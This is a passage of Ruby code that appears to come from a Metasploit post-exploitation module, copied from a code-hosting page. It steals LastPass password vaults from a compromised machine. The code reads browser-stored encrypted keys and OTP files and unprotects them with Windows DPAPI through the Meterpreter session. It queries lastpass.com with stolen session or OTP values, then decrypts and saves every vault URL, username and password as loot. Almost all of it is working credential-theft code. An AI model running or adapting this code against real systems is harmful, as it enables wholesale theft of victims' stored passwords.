request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa'])
|
||||
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
|
||||
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
|
||||
|
||||
# Parse response
|
||||
next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired
|
||||
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1])
|
||||
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
|
||||
|
||||
# Get the local encrypted vault key
|
||||
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
|
||||
|
||||
# Decrypt the local stored key
|
||||
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns otp, encrypted_key
|
||||
def extract_otpbin(browser, username, lp_data)
|
||||
if browser.match(/Firefox|IE/)
|
||||
if browser == "Firefox"
|
||||
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
|
||||
else # IE
|
||||
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp"
|
||||
end
|
||||
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
|
||||
otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/)
|
||||
return otpbin
|
||||
else # Chrome, Safari and Opera
|
||||
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||
result = db.execute(
|
||||
"SELECT type, data FROM LastPassData " \
|
||||
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
|
||||
)
|
||||
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*")
|
||||
end
|
||||
end
|
||||
|
||||
def derive_vault_key_from_creds(username, password, key_iteration_count)
|
||||
if key_iteration_count == 1
|
||||
key = Digest::SHA256.hexdigest username + password
|
||||
else
|
||||
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
|
||||
end
|
||||
key
|
||||
end
|
||||
|
||||
def decrypt_vault_key_with_otp(username, otpbin)
|
||||
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
|
||||
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
|
||||
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
|
||||
end
|
||||
|
||||
def retrieve_encrypted_vault_key_with_otp username, otpbin
|
||||
# Derive login hash from otp
|
||||
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
|
||||
|
||||
# Make request to LastPass
|
||||
uri = URI('https://lastpass.com/otp.php')
|
||||
request = Net::HTTP::Post.new(uri)
|
||||
request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token)
|
||||
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
|
||||
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
|
||||
|
||||
# Parse response
|
||||
encrypted_vault_key = nil
|
||||
if response.body.match(/randkey\="(.*)"/)
|
||||
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
|
||||
end
|
||||
encrypted_vault_key
|
||||
end
|
||||
|
||||
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
|
||||
def lastpass_sha256(input)
|
||||
output = ""
|
||||
|
||||
input = input.gsub("\r\n", "\n")
|
||||
|
||||
input.each_byte do |e|
|
||||
if 128 > e
|
||||
output += e.chr
|
||||
else
|
||||
if (127 < e && 2048 > e)
|
||||
output += (e >> 6 | 192).chr
|
||||
output += (e & 63 | 128).chr
|
||||
else
|
||||
output += (e >> 12 | 224).chr
|
||||
output += (e >> 6 & 63 | 128).chr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
OpenSSL::Digest::SHA256.hexdigest(output)
|
||||
end
|
||||
|
||||
def pbkdf2(password, salt, iterations, key_length)
|
||||
digest = OpenSSL::Digest::SHA256.new
|
||||
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
|
||||
end
|
||||
|
||||
def windows_unprotect(data)
|
||||
data = Rex::Text.decode_base64(data)
|
||||
rg = session.railgun
|
||||
pid = session.sys.process.getpid
|
||||
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
mem = process.memory.allocate(data.length + 200)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86"
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
len, addr = ret["pDataOut"].unpack("V2")
|
||||
else
|
||||
addr = Rex::Text.pack_int64le(mem)
|
||||
len = Rex::Text.pack_int64le(data.length)
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
||||
pData = ret["pDataOut"].unpack("VVVV")
|
||||
len = pData[0] + (pData[1] << 32)
|
||||
addr = pData[2] + (pData[3] << 32)
|
||||
end
|
||||
|
||||
return "" if len == 0
|
||||
process.memory.read(addr, len)
|
||||
end
|
||||
|
||||
def print_vault_passwords(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
lastpass_vault_data_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Decrypted vault from #{username}",
|
||||
'Indent' => 1,
|
||||
'Columns' => %w(URL Username Password)
|
||||
)
|
||||
if user_data['vault_loot'].nil? # Was a vault found?
|
||||
print_error "No vault was found for #{username}"
|
||||
next
|
||||
end
|
||||
encoded_vault = File.read(user_data['vault_loot'])
|
||||
if encoded_vault[0] == "!" # Vault is double encrypted
|
||||
encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)
|
||||
if encoded_vault.blank?
|
||||
print_error "Vault from #{username} could not be decrypted"
|
||||
next
|
||||
else
|
||||
encoded_vault = encoded_vault.sub("LPB64", "")
|
||||
end
|
||||
end
|
||||
|
||||
# Parse vault
|
||||
vault = Rex::Text.decode_base64(encoded_vault)
|
||||
vault.scan(/ACCT/) do |result|
|
||||
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
|
||||
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk
|
||||
account_data = parse_vault_account(chunk, user_data['vault_key'])
|
||||
lastpass_vault_data_table << account_data if account_data != nil
|
||||
end
|
||||
|
||||
unless account_map.empty? # Loot passwords
|
||||
if lastpass_vault_data_table.rows.empty?
|
||||
print_status('No decrypted vaults.')
|
||||
else
|
||||
print_good lastpass_vault_data_table.to_s
|
||||
end
|
||||
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_vault_account(chunk, vault_key)
|
||||
pointer = 22 # Starting position to find data to decrypt
|
||||
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
|
||||
vault_data = []
|
||||
for label in labels
|
||||
if chunk[pointer..pointer + 3].nil?
|
||||
# Out of bound read
|
||||
return nil
|
||||
end
|
||||
|
||||
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
|
||||
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
|
||||
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
|
||||
decrypted_data = "" if decrypted_data.nil?
|
||||
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
|
||||
pointer = pointer + 4 + length
|
||||
end
|
||||
|
||||
return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes
|
||||
end
|
||||
|
||||
def decrypt_vault_password(key, encrypted_data)
|
||||
return nil if key.blank? || encrypted_data.blank?
|
||||
|
||||
if encrypted_data[0] == "!" # Apply CBC
|
||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||
decipher.iv = encrypted_data[1, 16] # Discard !
|
||||
encrypted_data = encrypted_data[17..-1]
|
||||
else # Apply ECB
|
||||
decipher = OpenSSL::Cipher.new("AES-256-ECB")
|
||||
end
|
||||
decipher.decrypt
|
||||
decipher.key = [key].pack "H*"
|
||||
|
||||
begin
|
||||
return decipher.update(encrypted_data) + decipher.final
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
vprint_error "Vault password could not be decrypted with key #{key}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Reads a remote file and loots it
|
||||
def loot_file(path, data, title, type, description)
|
||||
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
|
||||
return nil if data.nil?
|
||||
|
||||
loot_path = store_loot(
|
||||
title,
|
||||
type,
|
||||
session,
|
||||
data,
|
||||
nil,
|
||||
description
|
||||
)
|
||||
loot_path
|
||||
end
|
||||
|
||||
# Reads a remote file and returns the data
|
||||
def read_remote_file(path)
|
||||
data = nil
|
||||
|
||||
begin
|
||||
data = read_file(path)
|
||||
rescue EOFError
|
||||
vprint_error "Error reading file #{path} It could be empty"
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def read_registry_key_value(key, value)
|
||||
begin
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
|
||||
return nil unless reg_key
|
||||
reg_value = reg_key.query_value(value)
|
||||
return nil unless reg_value
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("#{e.message} (#{key}\\#{value})")
|
||||
end
|
||||
reg_key.close if reg_key
|
||||
return reg_value.blank? ? nil : reg_value.data
|
||||
end
|
||||
|
||||
def extract_local_encrypted_vault_key(browser, username, lp_data)
|
||||
if browser.match(/Firefox|IE/)
|
||||
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps"
|
||||
encrypted_vault_key = read_remote_file(encrypted_key_path)
|
||||
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if encrypted_vault_key != nil && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
|
||||
else
|
||||
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||
result = db.execute(
|
||||
"SELECT data FROM LastPassData " \
|
||||
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
|
||||
)
|
||||
encrypted_vault_key = result[0][0]
|
||||
end
|
||||
|
||||
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
|
||||
end
|
||||
|
||||
# Returns OS separator in a session type agnostic way
|
||||
def system_separator
|
||||
return session.platform =~ /win/ ? '\\' : '/'
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue